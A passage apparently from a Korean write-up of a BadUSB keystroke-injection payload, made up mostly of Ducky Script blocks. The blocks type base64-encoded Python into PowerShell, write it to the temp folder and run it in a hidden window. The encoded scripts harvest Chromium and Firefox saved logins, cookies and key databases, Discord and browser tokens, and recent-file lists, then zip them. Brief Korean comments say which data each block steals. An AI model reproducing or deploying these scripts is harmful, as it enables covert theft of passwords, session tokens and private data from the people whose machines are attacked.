DELAY 20
STRING 0cjoKICAgIHJldHVybiAoCiAgICAgICAgb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9CUk9XU0VSX1BST0ZJTEUiKQogICAgICAgIG9yIG9zLmVudmlyb24uZ2V0KCJCQUR
DELAY 20
STRING VU0JfQ0hST01FX1BST0ZJTEUiKQogICAgICAgIG9yICJEZWZhdWx0IgogICAgKQoKCmRlZiBsaW51eF9icm93c2VyX2Jhc2UobmFtZTogc3RyKSAtPiBzdHIgfCBOb25
DELAY 20
STRING lOgogICAgcmVsID0gTElOVVhfQlJPV1NFUlMuZ2V0KG5hbWUpCiAg'
ENTER
DELAY 50
STRING $b+='ICBpZiBub3QgcmVsOgogICAgICAgIHJldHVybiBOb25lCiAgICBwYXRoID0gb3MucGF0aC5qb2luKG9zLnBhdGguZXhwYW5kdXNlcigifiIpLCAiLmNvbmZpZyI
DELAY 20
STRING sIHJlbCkKICAgIHJldHVybiBwYXRoIGlmIG9zLnBhdGguaXNkaXIocGF0aCkgZWxzZSBOb25lCgoKZGVmIGxpbnV4X2NvbGxlY3QoYnJvd3NlcnM6IGxpc3Rbc3RyXSw
DELAY 20
STRING gb3V0OiBzdHIpOgogICAgd29yayA9IG9zLnBhdGguam9pbigiL3RtcCIsIGYiYmFkdXNiX2JyX3tvcy5nZXRwaWQoKX0iKQogICAgb3MubWFrZWRpcnMod29yaywgZXh
DELAY 20
STRING pc3Rfb2s9VHJ1ZSkKICAgIGZvdW5kID0gRmFsc2UKICAgIGZvciBuYW1lIGluIGJyb3dzZXJzOgogICAgICAgIGJhc2UgPSBsaW51eF9icm93c2VyX2Jhc2UobmFtZSk
DELAY 20
STRING KICAgICAgICBpZiBub3QgYmFzZToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBkZXN0ID0gb3MucGF0aC5qb2luKHdvcmssIG5hbWUpCiAgICAgICAgb3MubWF
DELAY 20
STRING rZWRpcnMoZGVzdCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICBsb2NhbF9zdGF0ZSA9IG9zLnBhdGguam9pbihiYXNlLCAiTG9jYWwgU3RhdGUiKQogICAgICAgIGlmIG9
DELAY 20
STRING zLnBhdGguaXNmaWxlKGxvY2FsX3N0YXRlKToKICAgICAgICAgICAgc2h1dGlsLmNvcHkyKGxvY2FsX3N0YXRlLCBvcy5wYXRoLmpvaW4oZGVzdCwgIkxvY2FsIFN0YXR
DELAY 20
STRING lIikpCiAgICAgICAgICAgIGZvdW5kID0gVHJ1ZQogICAgICAgIGZvciBwcm9mIGluICgiRGVmYXVsdCIsICJQcm9maWxlIDEiLCAiUHJvZmlsZSAyIik6CiAgICAgICA
DELAY 20
STRING gICAgIHJvb3QgPSBvcy5wYXRoLmpvaW4oYmFzZSwgcHJvZikKICAgICAgICAgICAgaWYgbm90IG9zLnBhdGguaXNkaXIocm9vdCk6CiAgICAgICAgICAgICAgICBjb25
DELAY 20
STRING 0aW51ZQogICAgICAgICAgICBwZCA9IG9zLnBhdGguam9pbihkZXN0'
ENTER
DELAY 50
STRING $b+='LCBwcm9mKQogICAgICAgICAgICBvcy5tYWtlZGlycyhwZCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICAgICAgZm9yIGZuYW1lIGluICgiTG9naW4gRGF0YSIsICJ
DELAY 20
STRING Db29raWVzIiwgIldlYiBEYXRhIiwgIlByZWZlcmVuY2VzIik6CiAgICAgICAgICAgICAgICBzcmMgPSBvcy5wYXRoLmpvaW4ocm9vdCwgZm5hbWUpCiAgICAgICAgICA
DELAY 20
STRING gICAgICBpZiBvcy5wYXRoLmlzZmlsZShzcmMpOgogICAgICAgICAgICAgICAgICAgIHNodXRpbC5jb3B5MihzcmMsIG9zLnBhdGguam9pbihwZCwgZm5hbWUucmVwbGF
DELAY 20
STRING jZSgiICIsICJfIikpKQogICAgICAgICAgICAgICAgICAgIGZvdW5kID0gVHJ1ZQogICAgaWYgbm90IGZvdW5kOgogICAgICAgIHByaW50KCJicm93c2VyX2V4ZmlsOiB
DELAY 20
STRING ubyBsaW51eCBicm93c2VyIGRhdGEiKQogICAgICAgIHNodXRpbC5ybXRyZWUod29yaywgaWdub3JlX2Vycm9ycz1UcnVlKQogICAgICAgIHJldHVybgogICAgd2l0aCB
DELAY 20
STRING 6aXBmaWxlLlppcEZpbGUob3V0LCAidyIsIHppcGZpbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4gb3Mud2Fsayh3b3J
DELAY 20
STRING rKToKICAgICAgICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkKICAgICAgICAgICA
DELAY 20
STRING gICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9b3MucGF0aC5yZWxwYXRoKHBhdGgsIHdvcmspKQogICAgc2h1dGlsLnJtdHJlZSh3b3JrLCBpZ25vcmVfZXJyb3JzPVR
DELAY 20
STRING ydWUpCiAgICBwcmludChvdXQpCgoKZGVmIG1haW4oKToKICAgIGlmIHN5cy5wbGF0Zm9ybSAhPSAid2luMzIiOgogICAgICAgIHNwZWMgPSBvcy5lbnZpcm9uLmdldCg
DELAY 20
STRING iQkFEVVNCX0JST1dTRVIiKSBvciBvcy5lbnZpcm9uLmdldCgiQkFE'
ENTER
DELAY 50
STRING $b+='VVNCX0NIUk9NRV9CUk9XU0VSIikgb3IgImNocm9tZSIKICAgICAgICBicm93c2VycyA9IHBhcnNlX2Jyb3dzZXJzKHNwZWMpCiAgICAgICAgaWYgc3BlYyBpbiA
DELAY 20
STRING oIiIsICJhbGwiKToKICAgICAgICAgICAgYnJvd3NlcnMgPSBsaXN0KExJTlVYX0JST1dTRVJTKQogICAgICAgIG91dCA9IE9VVF9QQVRIIG9yIG9zLnBhdGguam9pbig
DELAY 20
STRING iL3RtcCIsICJicm93c2VyX2NyZWRzLnppcCIpCiAgICAgICAgbGludXhfY29sbGVjdChicm93c2Vycywgb3V0KQogICAgICAgIHJldHVybgogICAgdHJ5OgogICAgICA
DELAY 20
STRING gIGZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzLmNpcGhlcnMuYWVhZCBpbXBvcnQgQUVTR0NNICAjIG5vcWE6IEY0MDEKICAgIGV4Y2VwdCBJbXBvcnR
DELAY 20
STRING FcnJvcjoKICAgICAgICBpbXBvcnQgc3VicHJvY2VzcwoKICAgICAgICBzdWJwcm9jZXNzLmNoZWNrX2NhbGwoW3N5cy5leGVjdXRhYmxlLCAiLW0iLCAicGlwIiwgIml
DELAY 20
STRING uc3RhbGwiLCAiLXEiLCAiY3J5cHRvZ3JhcGh5Il0pCgogICAgc3BlYyA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfQlJPV1NFUiIpIG9yIG9zLmVudmlyb24uZ2V0KCJ
DELAY 20
STRING CQURVU0JfQ0hST01FX0JST1dTRVIiKSBvciAiY2hyb21lIgogICAgYnJvd3NlcnMgPSBwYXJzZV9icm93c2VycyhzcGVjKQogICAgcHJvZiA9IHByb2ZpbGVfbmFtZSg
DELAY 20
STRING pCiAgICBtdWx0aSA9IGxlbihicm93c2VycykgPiAxCiAgICByZXN1bHQgPSB7fQoKICAgIGZvciBuYW1lIGluIGJyb3dzZXJzOgogICAgICAgIGJhc2UgPSBicm93c2V
DELAY 20
STRING yX2Jhc2UobmFtZSkKICAgICAgICBpZiBub3QgYmFzZToKICAgICAgICAgICAgY29udGludWUKICAgICAgICByb3dzID0gcmVhZF9sb2dpbnMoYmFzZSwgcHJvZikKICA
DELAY 20
STRING gICAgICBpZiByb3dzOgogICAgICAgICAgICByZXN1bHRbbmFtZV0g'
ENTER
DELAY 50
STRING $b+='PSByb3dzCgogICAgaWYgbm90IHJlc3VsdDoKICAgICAgICBwcmludCgiYnJvd3Nlcl9leGZpbDogbm8gbG9naW5zIGZvdW5kIikKICAgICAgICByZXR1cm4KCiA
DELAY 20
STRING gICBpZiBtdWx0aToKICAgICAgICBwYXlsb2FkID0gcmVzdWx0CiAgICAgICAgZGVmYXVsdCA9IG9zLnBhdGguam9pbihvcy5lbnZpcm9uLmdldCgiVEVNUCIsICIuIik
DELAY 20
STRING sICJicm93c2VyX2NyZWRzLmpzb24iKQogICAgZWxzZToKICAgICAgICBwYXlsb2FkID0gcmVzdWx0W2Jyb3dzZXJzWzBdXQogICAgICAgIGRlZmF1bHQgPSBvcy5wYXR
DELAY 20
STRING oLmpvaW4ob3MuZW52aXJvbi5nZXQoIlRFTVAiLCAiLiIpLCBmInticm93c2Vyc1swXX1fY3JlZHMuanNvbiIpCgogICAgb3V0ID0gT1VUX1BBVEggb3IgZGVmYXVsdAo
DELAY 20
STRING gICAgd2l0aCBvcGVuKG91dCwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgIGpzb24uZHVtcChwYXlsb2FkLCBmLCBpbmRlbnQ9MikKICAgIHByaW5
DELAY 20
STRING 0KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\6ce2f8bb.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\6ce2f8bb.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\2119d668') -and (Get-Item -LiteralPath $env:TEMP+'\2119d668').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

Chromium 브라우저(Chrome, Edge, Brave 등등) 추출용 파이썬 스크립트를 송신해 실행합니다. 파이썬 스크립트는 DPAPI 복호화를 수행합니다.

B. Firefox

STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGdsb2IKaW1wb3J0IGpzb24KaW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZ
DELAY 20
STRING pcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQoKCmRlZiB3b3JrZGlyKCk6CiAgICBpZiBzeXMucGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICByZXR1cm4gb3MucGF
DELAY 20
STRING 0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl9mZiIpCiAgICByZXR1cm4gb3MucGF0aC5qb2luKCIvdG1wIiwgImJhZHVzYl9mZiIpCgo
DELAY 20
STRING KZGVmIGZpcmVmb3hfcHJvZmlsZXMoKToKICAgIGlmIHN5cy5wbGF0Zm9ybSA9PSAid2luMzIiOgogICAgICAgIGJhc2UgPSBvcy5wYXRoLmpvaW4ob3MuZW52aXJvbi5
DELAY 20
STRING nZXQoIkFQUERBVEEiLCAiIiksICJNb3ppbGxhIiwgIkZpcmVmb3giLCAiUHJvZmlsZXMiKQogICAgZWxzZToKICAgICAgICBiYXNlID0gb3MucGF0aC5qb2luKG9zLnB
DELAY 20
STRING hdGguZXhwYW5kdXNlcigifiIpLCAiLm1vemlsbGEiLCAiZmlyZWZveCIpCiAgICBpZiBub3Qgb3MucGF0aC5pc2RpcihiYXNlKToKICAgICAgICByZXR1cm4gW10KICA
DELAY 20
STRING gIHJldHVybiBbcCBmb3IgcCBpbiBnbG9iLmdsb2Iob3MucGF0aC5qb2luKGJhc2UsICIqIikpIGlmIG9zLnBhdGguaXNkaXIocCldCgoKZGVmIGNvbGxlY3Qod29yayk
DELAY 20
STRING 6CiAgICBvcy5tYWtlZGlycyh3b3JrLCBleGlzdF9vaz1UcnVlKQogICAgbWFuaWZlc3QgPSBbXQogICAgZm9yIHByb2YgaW4gZmlyZWZveF9wcm9maWxlcygpOgogICA
DELAY 20
STRING gICAgIGxhYmVsID0gb3MucGF0aC5iYXNlbmFtZShwcm9mKQogICAgICAgIGRlc3QgPSBvcy5wYXRoLmpvaW4od29yaywgbGFiZWwpCiAgICAgICAgb3MubWFrZWRpcnM
DELAY 20
STRING oZGVzdCwgZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICBmb3IgbmFtZSBp'
ENTER
DELAY 50
STRING $b+='biAoCiAgICAgICAgICAgICJsb2dpbnMuanNvbiIsCiAgICAgICAgICAgICJrZXk0LmRiIiwKICAgICAgICAgICAgImNlcnQ5LmRiIiwKICAgICAgICAgICAgImN
DELAY 20
STRING vb2tpZXMuc3FsaXRlIiwKICAgICAgICAgICAgInBsYWNlcy5zcWxpdGUiLAogICAgICAgICAgICAicHJlZnMuanMiLAogICAgICAgICk6CiAgICAgICAgICAgIHNyYyA
DELAY 20
STRING 9IG9zLnBhdGguam9pbihwcm9mLCBuYW1lKQogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShzcmMpOgogICAgICAgICAgICAgICAgc2h1dGlsLmNvcHkyKHNyYyw
DELAY 20
STRING gb3MucGF0aC5qb2luKGRlc3QsIG5hbWUpKQogICAgICAgICAgICAgICAgbWFuaWZlc3QuYXBwZW5kKHsicHJvZmlsZSI6IGxhYmVsLCAiZmlsZSI6IG5hbWUsICJzaXp
DELAY 20
STRING lIjogb3MucGF0aC5nZXRzaXplKHNyYyl9KQogICAgd2l0aCBvcGVuKG9zLnBhdGguam9pbih3b3JrLCAibWFuaWZlc3QuanNvbiIpLCAidyIsIGVuY29kaW5nPSJ1dGY
DELAY 20
STRING tOCIpIGFzIGY6CiAgICAgICAganNvbi5kdW1wKG1hbmlmZXN0LCBmLCBpbmRlbnQ9MikKICAgIHJldHVybiBtYW5pZmVzdAoKCmRlZiB6aXBfZGlyKHNyYywgZGVzdCk
DELAY 20
STRING 6CiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZShkZXN0LCAidyIsIHppcGZpbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4
DELAY 20
STRING gb3Mud2FsayhzcmMpOgogICAgICAgICAgICBmb3IgbmFtZSBpbiBmaWxlczoKICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgbmFtZSkKICA
DELAY 20
STRING gICAgICAgICAgICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9b3MucGF0aC5yZWxwYXRoKHBhdGgsIHNyYykpCgoKZGVmIGRlZmF1bHRfb3V0KCk6CiAgICBpZiBzeXM
DELAY 20
STRING ucGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICByZXR1cm4gb3Mu'
ENTER
DELAY 50
STRING $b+='cGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImZpcmVmb3guemlwIikKICAgIHJldHVybiAiL3RtcC9maXJlZm94LnppcCIKCgpkZWYgbWF
DELAY 20
STRING pbigpOgogICAgd29yayA9IHdvcmtkaXIoKQogICAgaWYgb3MucGF0aC5pc2Rpcih3b3JrKToKICAgICAgICBzaHV0aWwucm10cmVlKHdvcmssIGlnbm9yZV9lcnJvcnM
DELAY 20
STRING 9VHJ1ZSkKICAgIG1hbmlmZXN0ID0gY29sbGVjdCh3b3JrKQogICAgb3V0ID0gT1VUX1BBVEggb3IgZGVmYXVsdF9vdXQoKQogICAgaWYgbm90IG1hbmlmZXN0OgogICA
DELAY 20
STRING gICAgIHdpdGggb3BlbihvdXQucmVwbGFjZSgiLnppcCIsICIudHh0IiksICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSgibm8
DELAY 20
STRING gZmlyZWZveCBwcm9maWxlcyBmb3VuZFxuIikKICAgIGVsc2U6CiAgICAgICAgemlwX2Rpcih3b3JrLCBvdXQpCiAgICBzaHV0aWwucm10cmVlKHdvcmssIGlnbm9yZV9
DELAY 20
STRING lcnJvcnM9VHJ1ZSkKICAgIHByaW50KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\37b898a7.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\37b898a7.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\db7539be.zip') -and (Get-Item -LiteralPath $env:TEMP+'\db7539be.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

마찬가지로 파이어폭스 브라우저 로그인 정보 탈취용 파이썬 스크립트를 송신해 실행합니다.

C. Token

STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGpzb24KaW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkF
DELAY 20
STRING EVVNCX09VVCIsICIiKQpXT1JLRElSID0gb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl90b2siKQoKCmRlZiBjaHJvbWl1bV9
DELAY 20
STRING iYXNlcygpOgogICAgbG9jYWwgPSBvcy5lbnZpcm9uLmdldCgiTE9DQUxBUFBEQVRBIiwgIiIpCiAgICBmb3IgdmVuZG9yLCBzdWIgaW4gKCgiR29vZ2xlIiwgIkNocm9
DELAY 20
STRING tZSIpLCAoIk1pY3Jvc29mdCIsICJFZGdlIiksICgiQnJhdmVTb2Z0d2FyZSIsICJCcmF2ZS1Ccm93c2VyIikpOgogICAgICAgIGJhc2UgPSBvcy5wYXRoLmpvaW4obG9
DELAY 20
STRING jYWwsIHZlbmRvciwgc3ViLCAiVXNlciBEYXRhIikKICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGJhc2UpOgogICAgICAgICAgICB5aWVsZCBzdWIsIGJhc2UKCgpkZWY
DELAY 20
STRING gY29sbGVjdCgpOgogICAgb3MubWFrZWRpcnMoV09SS0RJUiwgZXhpc3Rfb2s9VHJ1ZSkKICAgIG1hbmlmZXN0ID0gW10KICAgIGZvciBicm93c2VyLCBiYXNlIGluIGN
DELAY 20
STRING ocm9taXVtX2Jhc2VzKCk6CiAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihXT1JLRElSLCBicm93c2VyKQogICAgICAgIG9zLm1ha2VkaXJzKGRlc3QsIGV4aXN0X29
DELAY 20
STRING rPVRydWUpCiAgICAgICAgbG9jYWxfc3RhdGUgPSBvcy5wYXRoLmpvaW4oYmFzZSwgIkxvY2FsIFN0YXRlIikKICAgICAgICBpZiBvcy5wYXRoLmlzZmlsZShsb2NhbF9
DELAY 20
STRING zdGF0ZSk6CiAgICAgICAgICAgIHNodXRpbC5jb3B5Mihsb2NhbF9zdGF0ZSwgb3MucGF0aC5qb2luKGRlc3QsICJMb2NhbCBTdGF0ZSIpKQogICAgICAgICAgICBtYW5
DELAY 20
STRING pZmVzdC5hcHBlbmQoeyJicm93c2VyIjogYnJvd3NlciwgImZpbGUi'
ENTER
DELAY 50
STRING $b+='OiAiTG9jYWwgU3RhdGUifSkKICAgICAgICBmb3IgcHJvZiBpbiAoIkRlZmF1bHQiLCAiUHJvZmlsZSAxIiwgIlByb2ZpbGUgMiIpOgogICAgICAgICAgICByb29
DELAY 20
STRING 0ID0gb3MucGF0aC5qb2luKGJhc2UsIHByb2YpCiAgICAgICAgICAgIGlmIG5vdCBvcy5wYXRoLmlzZGlyKHJvb3QpOgogICAgICAgICAgICAgICAgY29udGludWUKICA
DELAY 20
STRING gICAgICAgICAgcGQgPSBvcy5wYXRoLmpvaW4oZGVzdCwgcHJvZikKICAgICAgICAgICAgb3MubWFrZWRpcnMocGQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgIGZ
DELAY 20
STRING vciBuYW1lIGluICgiTG9naW4gRGF0YSIsICJDb29raWVzIiwgIldlYiBEYXRhIiwgIk5ldHdvcmsiLCAiUHJlZmVyZW5jZXMiKToKICAgICAgICAgICAgICAgIHNyYyA
DELAY 20
STRING 9IG9zLnBhdGguam9pbihyb290LCBuYW1lKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoc3JjKToKICAgICAgICAgICAgICAgICAgICBzaHV0aWwuY29
DELAY 20
STRING weTIoc3JjLCBvcy5wYXRoLmpvaW4ocGQsIG5hbWUucmVwbGFjZSgiICIsICJfIikpKQogICAgICAgICAgICAgICAgICAgIG1hbmlmZXN0LmFwcGVuZCh7ImJyb3dzZXI
DELAY 20
STRING iOiBicm93c2VyLCAicHJvZmlsZSI6IHByb2YsICJmaWxlIjogbmFtZX0pCiAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKFdPUktESVIsICJtYW5pZmVzdC5qc29uIik
DELAY 20
STRING sICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICBqc29uLmR1bXAobWFuaWZlc3QsIGYsIGluZGVudD0yKQogICAgcmV0dXJuIG1hbmlmZXN0CgoKZGV
DELAY 20
STRING mIHppcF9kaXIoc3JjLCBkZXN0KToKICAgIHdpdGggemlwZmlsZS5aaXBGaWxlKGRlc3QsICJ3IiwgemlwZmlsZS5aSVBfREVGTEFURUQpIGFzIHpmOgogICAgICAgIGZ
DELAY 20
STRING vciByb290LCBfLCBmaWxlcyBpbiBvcy53YWxrKHNyYyk6CiAgICAg'
ENTER
DELAY 50
STRING $b+='ICAgICAgIGZvciBuYW1lIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBuYW1lKQogICAgICAgICAgICAgICAgYXJ
DELAY 20
STRING jID0gb3MucGF0aC5yZWxwYXRoKHBhdGgsIHNyYykKICAgICAgICAgICAgICAgIHpmLndyaXRlKHBhdGgsIGFyY25hbWU9YXJjKQoKCmRlZiBtYWluKCk6CiAgICBpZiB
DELAY 20
STRING zeXMucGxhdGZvcm0gIT0gIndpbjMyIjoKICAgICAgICBwcmludCgidG9rZW5faGFydmVzdDogd2luZG93cyBvbmx5IikKICAgICAgICByZXR1cm4KICAgIGlmIG9zLnB
DELAY 20
STRING hdGguaXNkaXIoV09SS0RJUik6CiAgICAgICAgc2h1dGlsLnJtdHJlZShXT1JLRElSLCBpZ25vcmVfZXJyb3JzPVRydWUpCiAgICBtYW5pZmVzdCA9IGNvbGxlY3QoKQo
DELAY 20
STRING gICAgb3V0ID0gT1VUX1BBVEggb3Igb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgInRva2Vucy56aXAiKQogICAgaWYgbm90IG1hbmlmZXN
DELAY 20
STRING 0OgogICAgICAgIHdpdGggb3BlbihvdXQucmVwbGFjZSgiLnppcCIsICIudHh0IiksICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml
DELAY 20
STRING 0ZSgibm8gY2hyb21pdW0gZGF0YSBmb3VuZFxuIikKICAgIGVsc2U6CiAgICAgICAgemlwX2RpcihXT1JLRElSLCBvdXQpCiAgICBzaHV0aWwucm10cmVlKFdPUktESVI
DELAY 20
STRING sIGlnbm9yZV9lcnJvcnM9VHJ1ZSkKICAgIHByaW50KG91dCkKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCg=='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\714bf833.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\714bf833.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\79889223.zip') -and (Get-Item -LiteralPath $env:TEMP+'\79889223.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

Discord 및 브라우저 토큰을 탈취하는 파이썬 스크립트를 송신해 실행합니다.

11. Recent Files

STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzaHV0aWwKaW1wb3J0IHN5cwppbXBvcnQgemlwZmlsZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICI
DELAY 20
STRING iKQpXT1JLRElSID0gb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJURU1QIiwgIi4iKSwgImJhZHVzYl9yZWNlbnQiKQoKCmRlZiByZWNlbnRfc291cmNlcygpOgo
DELAY 20
STRING gICAgYXBwZGF0YSA9IG9zLmVudmlyb24uZ2V0KCJBUFBEQVRBIiwgIiIpCiAgICBwYXRocyA9IFsKICAgICAgICBvcy5wYXRoLmpvaW4oYXBwZGF0YSwgIk1pY3Jvc29
DELAY 20
STRING mdCIsICJXaW5kb3dzIiwgIlJlY2VudCIpLAogICAgICAgIG9zLnBhdGguam9pbigKICAgICAgICAgICAgYXBwZGF0YSwKICAgICAgICAgICAgIk1pY3Jvc29mdCIsCiA
DELAY 20
STRING gICAgICAgICAgICJXaW5kb3dzIiwKICAgICAgICAgICAgIlJlY2VudCIsCiAgICAgICAgICAgICJBdXRvbWF0aWNEZXN0aW5hdGlvbnMiLAogICAgICAgICksCiAgICA
DELAY 20
STRING gICAgb3MucGF0aC5qb2luKAogICAgICAgICAgICBhcHBkYXRhLAogICAgICAgICAgICAiTWljcm9zb2Z0IiwKICAgICAgICAgICAgIldpbmRvd3MiLAogICAgICAgICA
DELAY 20
STRING gICAiUmVjZW50IiwKICAgICAgICAgICAgIkN1c3RvbURlc3RpbmF0aW9ucyIsCiAgICAgICAgKSwKICAgIF0KICAgIHJldHVybiBbcCBmb3IgcCBpbiBwYXRocyBpZiB
DELAY 20
STRING vcy5wYXRoLmlzZGlyKHApXQoKCmRlZiBjb3B5X3RyZWUoc3JjLCBkZXN0X3Jvb3QpOgogICAgYmFzZSA9IG9zLnBhdGguYmFzZW5hbWUoc3JjLnJzdHJpcCgiXFwvIik
DELAY 20
STRING pCiAgICBkZXN0ID0gb3MucGF0aC5qb2luKGRlc3Rfcm9vdCwgYmFzZSkKICAgIGlmIG9zLnBhdGguaXNkaXIoc3JjKToKICAgICAgICBzaHV0aWwuY29weXRyZWUoc3J
DELAY 20
STRING jLCBkZXN0LCBkaXJzX2V4aXN0X29rPVRydWUpCiAgICBlbGlmIG9z'
ENTER
DELAY 50
STRING $b+='LnBhdGguaXNmaWxlKHNyYyk6CiAgICAgICAgb3MubWFrZWRpcnMoZGVzdF9yb290LCBleGlzdF9vaz1UcnVlKQogICAgICAgIHNodXRpbC5jb3B5MihzcmMsIG9
DELAY 20
STRING zLnBhdGguam9pbihkZXN0X3Jvb3QsIGJhc2UpKQoKCmRlZiB6aXBfZGlyKHNyYywgZGVzdCk6CiAgICB3aXRoIHppcGZpbGUuWmlwRmlsZShkZXN0LCAidyIsIHppcGZ
DELAY 20
STRING pbGUuWklQX0RFRkxBVEVEKSBhcyB6ZjoKICAgICAgICBmb3Igcm9vdCwgXywgZmlsZXMgaW4gb3Mud2FsayhzcmMpOgogICAgICAgICAgICBmb3IgbmFtZSBpbiBmaWx
DELAY 20
STRING lczoKICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgbmFtZSkKICAgICAgICAgICAgICAgIGFyYyA9IG9zLnBhdGgucmVscGF0aChwYXRoLCB
DELAY 20
STRING zcmMpCiAgICAgICAgICAgICAgICB6Zi53cml0ZShwYXRoLCBhcmNuYW1lPWFyYykKCgpkZWYgbWFpbigpOgogICAgaWYgc3lzLnBsYXRmb3JtICE9ICJ3aW4zMiI6CiA
DELAY 20
STRING gICAgICAgcHJpbnQoInJlY2VudF9maWxlczogd2luZG93cyBvbmx5IikKICAgICAgICByZXR1cm4KICAgIGlmIG9zLnBhdGguaXNkaXIoV09SS0RJUik6CiAgICAgICA
DELAY 20
STRING gc2h1dGlsLnJtdHJlZShXT1JLRElSLCBpZ25vcmVfZXJyb3JzPVRydWUpCiAgICBvcy5tYWtlZGlycyhXT1JLRElSLCBleGlzdF9vaz1UcnVlKQogICAgZm9yIHNyYyB
DELAY 20
STRING pbiByZWNlbnRfc291cmNlcygpOgogICAgICAgIGNvcHlfdHJlZShzcmMsIFdPUktESVIpCiAgICBvdXQgPSBPVVRfUEFUSCBvciBvcy5wYXRoLmpvaW4ob3MuZW52aXJ
DELAY 20
STRING vbi5nZXQoIlRFTVAiLCAiLiIpLCAicmVjZW50LnppcCIpCiAgICB6aXBfZGlyKFdPUktESVIsIG91dCkKICAgIHNodXRpbC5ybXRyZWUoV09SS0RJUiwgaWdub3JlX2V
DELAY 20
STRING ycm9ycz1UcnVlKQogICAgcHJpbnQob3V0KQoKCmlmIF9fbmFtZV9f'
ENTER
DELAY 50
STRING $b+='ID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\f2183190.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\f2183190.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
